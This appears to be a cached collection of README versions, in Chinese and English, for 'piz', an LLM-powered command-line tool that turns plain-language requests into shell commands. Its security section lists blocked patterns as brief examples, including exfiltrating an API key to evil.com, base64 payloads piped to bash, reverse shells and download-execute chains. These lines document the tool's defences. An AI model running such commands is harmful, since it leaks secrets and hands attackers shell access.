`https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| 阿里DashScope | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| 字节BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## 配置文件\n\n路径:`~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 48 # 缓存有效期(2天)\ncache_max_entries = 1000 # 最大缓存条目数(LRU 淘汰)\nauto_confirm_safe = true # 安全命令自动执行\nlanguage = \"zh\" # 界面语言:zh / en\nchat_history_size = 20 # 对话历史最大消息数\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### 常见供应商配置\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>硅基流动 (SiliconFlow)</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / 月之暗面</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>智谱 / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## 安全机制\n\npiz 实现了三层安全防护:\n\n### 1. Prompt 层拒绝\n非命令输入(问候、闲聊、Prompt 注入尝试)会被 LLM 拒绝并返回说明,不会生成可执行命令。\n\n### 2. 注入检测(本地正则,无需 LLM)\n命令在执行前会被扫描以下恶意模式:\n- 环境变量泄露(`curl evil.com/$API_KEY`)\n- 编码载荷(`echo ... | base64 -d | bash`)\n- 反弹 Shell(`python -e 'import socket...'`)\n- Shell 配置覆写(`> ~/.bashrc`)\n- 静默 Crontab 注入(`| crontab -`)\n- curl 配置文件攻击(`curl -K malicious.conf`)\n- 下载-执行链(`wget ... && chmod +x && ./`)\n- 危险的 find/xargs 模式(`find -delete`、`xargs rm`)\n\n命中以上模式的命令会被**直接拦截**,无法执行。注入提示信息已全面国际化(中/英)。\n\n缓存命中时也会重新验证注入检测 —— 中毒的缓存条目会被自动清除。\n\n### 3. 危险分级\n\n| 级别 | 行为 | 示例 |\n|------|------|------|\n| **安全** | 自动执行(如已配置) | `ls`、`df -h`、`git status` |\n| **警告** | 弹出确认 | `sudo apt install`、`chmod 755`、`git push` |\n| **危险** | 红色警告 + 强制二次确认(无法跳过) | `rm -rf /`、`mkfs`、`DROP TABLE` |\n\n## 项目结构\n\n```\npiz/\n├── src/\n│ ├── main.rs # 入口,CLI 分发,响应解析,多候选选择\n│ ├── cli.rs # clap 命令行参数定义(含 clap_complete)\n│ ├── config.rs # TOML 配置 + 交互式配置向导(12 个供应商预设)\n│ ├── context.rs # 系统上下文收集(OS、Shell、CWD、架构、Git、包管理器)\n│ ├── i18n.rs # 多语言翻译(中/英),含注入检测消息国际化\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + 工厂函数 + 重试/退避工具\n│ │ ├── prompt.rs # Prompt 模板(含安全规则、few-shot 示例、多候选支持)\n│ │ ├── openai.rs # OpenAI 兼容适配器(含重试)\n│ │ ├── claude.rs # Claude 适配器(含重试)\n│ │ ├── gemini.rs # Google Gemini 适配器(含重试)\n│ │ └── ollama.rs # Ollama 适配器(含重试)\n│ ├── cache.rs # SQLite 缓存(SHA256 key + TTL + LRU 淘汰)+ 执行历史\n│ ├── danger.rs # 正则危险检测 + 注入扫描(InjectionReason 枚举)\n│ ├── executor.rs # 用户确认交互 + 命令执行\n│ ├── explain.rs # 命令解释模式\n│ ├── fix.rs # 命令纠错模式 + 自动修复重试循环\n│ ├── chat.rs # 交互式对话模式(斜杠命令 + 历史持久化)\n│ ├── history.rs # Shell 历史记录读取\n│ ├── shell_init.rs # Shell 集成代码生成(bash/zsh/fish/PowerShell)+ 内置别名\n│ └── ui.rs # 终端输出格式化(Spinner、Diff、着色)\n├── tests/\n│ ├── integration.rs # 集成测试\n│ ├── llm_e2e.rs # LLM 端到端测试(需要 API key,默认跳过)\n│ └── windows_shells.rs # 跨 Shell 测试(cmd/PowerShell/bash)\n├── homebrew/\n│ └── piz.rb # Homebrew formula 模板(发版时自动渲染)\n├── install.sh # macOS/Linux 安装脚本\n└── install.ps1 # Windows 安装脚本\n```\n\n## 构建\n\n```bash\n# 前提:Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # 构建\ncargo test # 运行测试(437 个)\ncargo install --path . # 安装到 PATH\n```\n\n## 环境变量\n\n| 变量 | 说明 |\n|------|------|\n| `NO_COLOR` | 设置为任意值可禁用彩色输出 |\n\n## 参与贡献\n\n欢迎贡献!请阅读 [CONTRIBUTING.md](CONTRIBUTING.md) 了解贡献指南。\n\n## 许可证\n\n本项目基于 MIT 许可证开源,详见 [LICENSE](LICENSE)。\n\n## Star History\n\n[](https://star-history.com/#AriesOxO/piz&Date)\n"}, "f3c6a732b076905d903748644e1ca662203affd9": {"t": 1785760763.9678955, "n": 12960, "h": "8f703c8d48d9127e", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>智能终端命令助手</strong><br>\n 用自然语言描述,自动生成 Shell 命令\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README_EN.md\">English</a> |\n <a href=\"./README.md\">简体中文</a>\n</p>\n\n---\n\n<p align=\"center\">\n <img src=\"assets/demo.gif\" alt=\"piz demo\" width=\"800\">\n</p>\n\n## piz 是什么?\n\n**piz** 解决一个问题:你知道想做什么,但记不住具体命令。用自然语言描述你的需求,piz 自动翻译成适合当前系统和 Shell 的命令。\n\n```\n$ piz 查看磁盘使用情况\n ➜ df -h\n [Y] 执行 [n] 取消 [e] 编辑\n```\n\n## 核心功能\n\n- **自然语言转命令** — 描述需求,得到精确命令\n- **多 LLM 后端** — 支持 OpenAI、Claude、Gemini、Ollama + 12 个 OpenAI 兼容供应商(DeepSeek、硅基流动、OpenRouter、Moonshot、智谱GLM、百度千帆、阿里DashScope、Mistral、Together、Minimax、字节BytePlus 等)\n- **安全加固** — 三层防护:Prompt 层拒绝非命令输入、注入检测(base64 载荷、环境变量泄露、反弹 Shell、curl 配置攻击)、正则危险分级\n- **危险命令检测** — 正则 + LLM 双重防护,危险命令强制二次确认,无法跳过\n- **命令解释** — `piz -e 'command'` 逐项拆解命令含义\n- **命令纠错** — `piz fix` 自动诊断并修复失败命令,支持自动重试(最多 3 次)\n- **交互式对话** — `piz chat` 多轮对话模式,支持 `/help`、`/clear`、`/history` 命令和历史持久化\n- **多候选命令** — `-n` 参数生成多个命令方案,自主选择最优方案\n- **本地缓存** — SQLite 缓存 + TTL 过期 + LRU 淘汰 + 最大条目数限制,重复查询秒返回\n- **执行历史** — `piz history` 查看和搜索所有执行过的命令\n- **Shell 集成** — `piz init <shell>` 生成 Shell 包装函数,使 `cd`/`export`/`source` 在当前 Shell 中正确生效(bash、zsh、fish、PowerShell),内置便捷别名(`p`、`pf`、`pc`)\n- **Eval 模式** — `--eval` 将确认后的命令输出给 Shell 包装函数执行\n- **Shell 补全** — 支持 bash、zsh、fish、PowerShell 自动补全\n- **管道模式** — `--pipe` 纯命令输出,便于脚本集成\n- **多语言界面** — 中文、英文,安全提示信息全面国际化\n- **跨平台** — Windows (PowerShell/cmd)、macOS、Linux (bash/zsh/fish),零侵入编码处理(不修改 `chcp`/`OutputEncoding`)\n- **交互式配置** — 首次运行自动引导,内置供应商预设,无需手动编辑配置\n- **NO_COLOR 支持** — 尊重 `NO_COLOR` 环境变量\n- **API 容错** — 429/5xx 错误自动重试 + 指数退避\n\n## 快速开始\n\n### 安装\n\n**Homebrew(macOS / Linux):**\n\n```bash\nbrew install AriesOxO/tap/piz\n```\n\n**macOS / Linux(一键安装):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows(PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo(全平台):**\n\n```bash\ncargo install piz\n```\n\n**手动下载:**\n\n前往 [Releases](https://github.com/AriesOxO/piz/releases) 下载二进制文件、`.msi`(Windows)或 `.deb`(Debian/Ubuntu)。\n\n| 平台 | 下载格式 |\n|------|---------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 | `.tar.gz` `.deb` |\n| Linux ARM64 | `.tar.gz` |\n\n### 配置\n\n首次运行任何命令,会自动进入交互式配置向导:\n\n```\n$ piz 列出文件\n\n ⚙ piz 配置向导\n\n? 选择语言 / Select language:中文\n? 选择默认 LLM 后端:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (本地)\n? 选择 API 供应商:\n OpenAI / DeepSeek / 硅基流动 / OpenRouter / Moonshot\n 智谱GLM / 百度千帆 / 阿里DashScope / Mistral / Together\n Minimax / 字节BytePlus / 自定义URL\n? API 地址:https://api.siliconflow.cn\n? API 密钥:sk-xxxxx\n? 模型名称:Qwen/Qwen3-8B\n? 安全命令是否自动执行(不弹出确认)?是\n\n ✔ 配置已保存\n```\n\n也可以手动运行:`piz config --init`\n\n## 使用示例\n\n### 自然语言转命令\n\n```bash\npiz 查看磁盘使用情况 # → df -h\npiz 找出所有大于100M的文件 # → find . -size +100M -type f\npiz 压缩src目录 # → tar -czf src.tar.gz src/\npiz 查看3000端口被谁占用 # → lsof -i :3000\npiz 统计当前目录代码行数 # → find . -name \"*.rs\" | xargs wc -l\n```\n\n### 多候选模式\n\n```bash\n$ piz -n 3 查找大文件\n? 选择要执行的命令:\n> 1. find . -size +100M -type f — 查找大于 100MB 的文件\n 2. du -ah . | sort -rh | head -20 — 显示最大的 20 个文件/目录\n 3. ls -lhRS | head -30 — 按大小降序列出文件\n```\n\n### 命令解释\n\n```bash\n$ piz -e 'awk \"{print \\$2}\" access.log | sort | uniq -c | sort -rn | head -10'\n📖 命令解释:\n\n awk \"{print $2}\" — 提取每行第2个字段(通常是URL或IP)\n access.log — 输入文件\n sort — 排序(为 uniq 做准备)\n uniq -c — 去重并统计出现次数\n sort -rn — 按数字降序排列\n head -10 — 取前10条结果\n```\n\n### 命令纠错\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 诊断:权限不足,无法写入 node_modules\n - npm install\n + sudo npm install\n```\n\n修复命令支持自动重试:如果修复后的命令仍然失败,piz 会继续分析错误并尝试修复,最多 3 轮。\n\n### 交互式对话模式\n\n```bash\n$ piz chat\n💬 交互模式\n输入你的请求,或 'exit'/'quit' 退出。\n\n> 列出所有运行中的 docker 容器\n ➜ docker ps\n [Y] 执行 [n] 取消 [e] 编辑\n\n> 只显示名称\n ➜ docker ps --format '{{.Names}}'\n```\n\n对话模式支持特殊命令:\n- `/help` — 显示可用命令\n- `/clear` — 清除对话历史\n- `/history` — 查看对话历史\n- `/detail` — 切换内联命令解释开关\n\n### 执行历史\n\n```bash\n$ piz history # 查看最近 20 条执行记录\n$ piz history docker -l 10 # 搜索含 \"docker\" 的最近 10 条记录\n```\n\n### Shell 补全\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Shell 集成\n\nShell 集成可以让 `cd`、`export`、`source` 等命令在当前 Shell 会话中正确生效。运行 `piz init <shell>` 并将输出添加到你的 Shell 配置文件中:\n\n**Bash / Zsh:**\n\n```bash\n# 添加到 ~/.bashrc 或 ~/.zshrc:\neval \"$(piz init bash)\" # 或:eval \"$(piz init zsh)\"\n```\n\n**Fish:**\n\n```fish\n# 添加到 ~/.config/fish/config.fish:\npiz init fish | source\n```\n\n**PowerShell:**\n\n```powershell\n# 添加到 $PROFILE:\npiz init powershell | Out-String | Invoke-Expression\n```\n\n配置完成后,piz 会自动使用 `--eval` 模式,`cd`、`export`、`source` 等命令将在当前 Shell 中正确生效。\n\nShell 集成还提供了内置便捷别名:\n\n| 别名 | 命令 | 说明 |\n|------|------|------|\n| `p` | `piz` | piz 短别名 |\n| `pf` | `piz fix` | 快速修复上一条失败命令 |\n| `pc` | `piz chat` | 快速进入对话模式 |\n\n```bash\np 列出所有 rust 文件 # 等同于:piz 列出所有 rust 文件\npf # 等同于:piz fix\npc # 等同于:piz chat\n```\n\n### 管道模式\n\n```bash\n# 仅输出命令,无 UI —— 适合脚本集成\npiz --pipe 查看所有 rust 文件 # → find . -name \"*.rs\"\neval $(echo \"列出文件\" | piz --pipe) # 直接执行\n```\n\n### 配置管理\n\n```bash\npiz config --init # 运行配置向导\npiz config --show # 查看当前配置(API 密钥自动脱敏)\npiz config --reset # 删除配置文件,重新开始\n```\n\n### 其他用法\n\n```bash\npiz --backend ollama 查看内存 # 临时切换后端\npiz --backend gemini 查看CPU # 使用 Google Gemini\npiz --no-cache 查看系统信息 # 跳过缓存\npiz --verbose 列出文件 # 调试:显示 Prompt 和 LLM 响应\npiz -n 3 列出文件 # 生成 3 个候选命令\npiz clear-cache # 清空缓存\npiz --eval 列出文件 # Eval 模式(用于 Shell 集成)\npiz --version # 查看版本\n```\n\n## 更新\n\n### 自更新\n\n```bash\npiz update # 交互式:检查最新版本并升级\n```\n\n`piz update` 检查 GitHub Releases 获取最新版本。如果有新版本,可选择两种升级方式:\n\n1. **覆盖安装** — 直接替换当前二进制文件\n2. **卸载后重装** — 先删除旧版本,再安装新版本\n\n两种方式均支持失败自动回滚。\n\n### 自动更新检查\n\npiz 在每次运行后**自动在后台检查更新**(每 24 小时最多一次,5 秒超时,绝不会阻塞)。检测到新版本时会显示提示:\n\n```\nℹ piz 0.3.0 is available (current: 0.2.5). Run `piz update` to upgrade.\n```\n\n无需任何配置即可使用。检查状态存储在 `~/.piz/update_state.json`。\n\n### 手动安装(指定版本)\n\n如需安装特定版本,可直接从 [GitHub Releases](https://github.com/AriesOxO/piz/releases) 下载:\n\n```bash\n# Linux/macOS — 替换 VERSION 和 TARGET\ncurl -fsSL https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-TARGET.tar.gz | tar xz\nsudo mv piz /usr/local/bin/\n\n# Windows (PowerShell)\nInvoke-WebRequest -Uri \"https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-x86_64-pc-windows-msvc.zip\" -OutFile piz.zip\nExpand-Archive piz.zip -DestinationPath .\nMove-Item piz.exe \"$env:LOCALAPPDATA\\piz\\piz.exe\"\n```\n\n或通过安装脚本重新安装:\n\n```bash\n# Linux/macOS\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n\n# Windows (PowerShell)\nirm https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n## 支持的供应商\n\n### 原生后端\n\n| 后端 | 配置段 | 说明 |\n|------|--------|------|\n| **OpenAI** | `[openai]` | 同时支持任何 OpenAI 兼容 API(通过 `base_url`) |\n| **Claude** | `[claude]` | Anthropic Messages API,支持自定义 `base_url` |\n| **Gemini** | `[gemini]` | Google Generative AI 原生 API |\n| **Ollama** | `[ollama]` | 本地模型,无需 API key |\n\n### OpenAI 兼容供应商(通过 `[openai]` + 自定义 `base_url`)\n\n<details>\n<summary>点击展开全部 12 个供应商</summary>\n\n| 供应商 | base_url | 默认模型 |\n|--------|----------|---------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| 硅基流动 | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| 智谱/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| 百度千帆 | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| 阿里DashScope | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| 字节BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## 配置文件\n\n路径:`~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # 缓存有效期(7天)\ncache_max_entries = 1000 # 最大缓存条目数(LRU 淘汰)\nauto_confirm_safe = true # 安全命令自动执行\nlanguage = \"zh\" # 界面语言:zh / en\nchat_history_size = 20 # 对话历史最大消息数\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### 常见供应商配置\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>硅基流动 (SiliconFlow)</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / 月之暗面</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>智谱 / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## 安全机制\n\npiz 实现了三层安全防护:\n\n### 1. Prompt 层拒绝\n非命令输入(问候、闲聊、Prompt 注入尝试)会被 LLM 拒绝并返回说明,不会生成可执行命令。\n\n### 2. 注入检测(本地正则,无需 LLM)\n命令在执行前会被扫描以下恶意模式:\n- 环境变量泄露(`curl evil.com/$API_KEY`)\n- 编码载荷(`echo ... | base64 -d | bash`)\n- 反弹 Shell(`python -e 'import socket...'`)\n- Shell 配置覆写(`> ~/.bashrc`)\n- 静默 Crontab 注入(`| crontab -`)\n- curl 配置文件攻击(`curl -K malicious.conf`)\n- 下载-执行链(`wget ... && chmod +x && ./`)\n- 危险的 find/xargs 模式(`find -delete`、`xargs rm`)\n\n命中以上模式的命令会被**直接拦截**,无法执行。注入提示信息已全面国际化(中/英)。\n\n缓存命中时也会重新验证注入检测 —— 中毒的缓存条目会被自动清除。\n\n### 3. 危险分级\n\n| 级别 | 行为 | 示例 |\n|------|------|------|\n| **安全** | 自动执行(如已配置) | `ls`、`df -h`、`git status` |\n| **警告** | 弹出确认 | `sudo apt install`、`chmod 755`、`git push` |\n| **危险** | 红色警告 + 强制二次确认(无法跳过) | `rm -rf /`、`mkfs`、`DROP TABLE` |\n\n## 项目结构\n\n```\npiz/\n├── src/\n│ ├── main.rs # 入口,CLI 分发,响应解析,多候选选择\n│ ├── cli.rs # clap 命令行参数定义(含 clap_complete)\n│ ├── config.rs # TOML 配置 + 交互式配置向导(12 个供应商预设)\n│ ├── context.rs # 系统上下文收集(OS、Shell、CWD、架构、Git、包管理器)\n│ ├── i18n.rs # 多语言翻译(中/英),含注入检测消息国际化\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + 工厂函数 + 重试/退避工具\n│ │ ├── prompt.rs # Prompt 模板(含安全规则、few-shot 示例、多候选支持)\n│ │ ├── openai.rs # OpenAI 兼容适配器(含重试)\n│ │ ├── claude.rs # Claude 适配器(含重试)\n│ │ ├── gemini.rs # Google Gemini 适配器(含重试)\n│ │ └── ollama.rs # Ollama 适配器(含重试)\n│ ├── cache.rs # SQLite 缓存(SHA256 key + TTL + LRU 淘汰)+ 执行历史\n│ ├── danger.rs # 正则危险检测 + 注入扫描(InjectionReason 枚举)\n│ ├── executor.rs # 用户确认交互 + 命令执行\n│ ├── explain.rs # 命令解释模式\n│ ├── fix.rs # 命令纠错模式 + 自动修复重试循环\n│ ├── chat.rs # 交互式对话模式(斜杠命令 + 历史持久化)\n│ ├── history.rs # Shell 历史记录读取\n│ ├── shell_init.rs # Shell 集成代码生成(bash/zsh/fish/PowerShell)+ 内置别名\n│ └── ui.rs # 终端输出格式化(Spinner、Diff、着色)\n├── tests/\n│ ├── integration.rs # 集成测试\n│ ├── llm_e2e.rs # LLM 端到端测试(需要 API key,默认跳过)\n│ └── windows_shells.rs # 跨 Shell 测试(cmd/PowerShell/bash)\n├── homebrew/\n│ └── piz.rb # Homebrew formula 模板(发版时自动渲染)\n├── install.sh # macOS/Linux 安装脚本\n└── install.ps1 # Windows 安装脚本\n```\n\n## 构建\n\n```bash\n# 前提:Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # 构建\ncargo test # 运行测试(437 个)\ncargo install --path . # 安装到 PATH\n```\n\n## 环境变量\n\n| 变量 | 说明 |\n|------|------|\n| `NO_COLOR` | 设置为任意值可禁用彩色输出 |\n\n## 参与贡献\n\n欢迎贡献!请阅读 [CONTRIBUTING.md](CONTRIBUTING.md) 了解贡献指南。\n\n## 许可证\n\n本项目基于 MIT 许可证开源,详见 [LICENSE](LICENSE)。\n\n## Star History\n\n[](https://star-history.com/#AriesOxO/piz&Date)\n"}, "2521b7b51ec256d5e66b428782a0aed2cfaf5024": {"t": 1785760765.515513, "n": 17967, "h": "079a9ade20fbb8cf", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>Intelligent terminal command assistant</strong><br>\n Translate natural language to shell commands with AI\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README.md\">English</a> |\n <a href=\"./README_ZH.md\">简体中文</a>\n</p>\n\n---\n\n<p align=\"center\">\n <img src=\"assets/demo.gif\" alt=\"piz demo\" width=\"800\">\n</p>\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Gemini, Ollama + 12 OpenAI-compatible providers (DeepSeek, SiliconFlow, OpenRouter, Moonshot, Zhipu/GLM, Qianfan, DashScope, Mistral, Together, Minimax, BytePlus, and more)\n- **Security Hardening** - Three-layer protection: prompt-level refusal for non-command input, injection detection (base64 payloads, env exfiltration, reverse shells, curl config attacks), and regex-based danger classification\n- **Danger Detection** - Dual-layer: regex patterns + LLM classification. Dangerous commands always require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`, with auto-retry (up to 3 attempts)\n- **Interactive Chat** - Multi-turn chat mode with context (`piz chat`), with `/help`, `/clear`, `/history` commands and persistent history\n- **Multi-Candidate** - Generate multiple command options with `-n` and pick your preferred one\n- **Local Cache** - SQLite cache with TTL + LRU eviction, max entries limit, repeated queries return instantly\n- **Execution History** - Track all executed commands with `piz history`, searchable\n- **Shell Integration** - `piz init <shell>` generates shell wrapper functions so `cd`/`export`/`source` work correctly in the current shell (bash, zsh, fish, PowerShell), with built-in aliases (`p`, `pf`, `pc`)\n- **Eval Mode** - `--eval` outputs confirmed command for shell wrapper to eval, used by shell integration\n- **Shell Completions** - Generate completions for bash, zsh, fish, and PowerShell\n- **Pipe Mode** - Script-friendly output with `--pipe` for integration with other tools\n- **Multi-Language UI** - Chinese, English interface with localized security messages\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh/fish) with non-invasive encoding (no `chcp`/`OutputEncoding` modification)\n- **Interactive Setup** - First-run wizard with provider presets, no manual config editing needed\n- **NO_COLOR Support** - Respects the `NO_COLOR` environment variable\n- **API Resilience** - Automatic retry with exponential backoff for 429/5xx errors\n\n## Quick Start\n\n### Install\n\n**Homebrew (macOS / Linux):**\n\n```bash\nbrew install AriesOxO/tap/piz\n```\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries or `.msi` (Windows) from [Releases](https://github.com/AriesOxO/piz/releases). Linux binaries are statically linked (musl), compatible with any Linux distribution.\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 (static musl) | `.tar.gz` |\n| Linux ARM64 (static musl) | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English\n? Select default LLM backend:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (local)\n? Select API provider:\n OpenAI / DeepSeek / SiliconFlow / OpenRouter / Moonshot\n Zhipu-GLM / Qianfan / DashScope / Mistral / Together\n Minimax / BytePlus / Custom URL\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Multi-candidate mode\n\n```bash\n$ piz -n 3 find large files\n? Select a command to execute:\n> 1. find . -size +100M -type f — Find files larger than 100MB\n 2. du -ah . | sort -rh | head -20 — Show top 20 largest files/dirs\n 3. ls -lhRS | head -30 — List files sorted by size descending\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n - npm install\n + sudo npm install\n```\n\nThe fix command now supports auto-retry: if the fixed command also fails, piz will attempt up to 3 rounds of diagnosis and repair.\n\n### Interactive chat mode\n\n```bash\n$ piz chat\n💬 interactive mode\nType your request, or 'exit'/'quit' to leave.\n\n> list all running docker containers\n ➜ docker ps\n [Y] Execute [n] Cancel [e] Edit\n\n> only show the names\n ➜ 